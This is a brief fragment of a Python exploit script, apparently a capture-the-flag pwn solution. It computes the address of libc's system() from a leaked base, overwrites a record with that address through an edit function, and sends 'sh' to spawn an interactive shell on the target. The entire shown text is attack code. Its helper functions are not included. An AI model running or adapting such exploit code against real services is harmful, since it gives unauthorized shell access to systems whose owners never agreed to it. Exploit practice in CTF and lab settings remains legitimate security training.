- leak_offset system_addr = libc_base + offset_system payload = "" payload += l64(system_addr) edit_record(io, "2"*0x10, passwd_new + "\n", 0x10, payload) rd_wr_str(io, "> ", "sh\n") #io.gdb_hint() io.interact() pass io = get_io(target) pwn(io)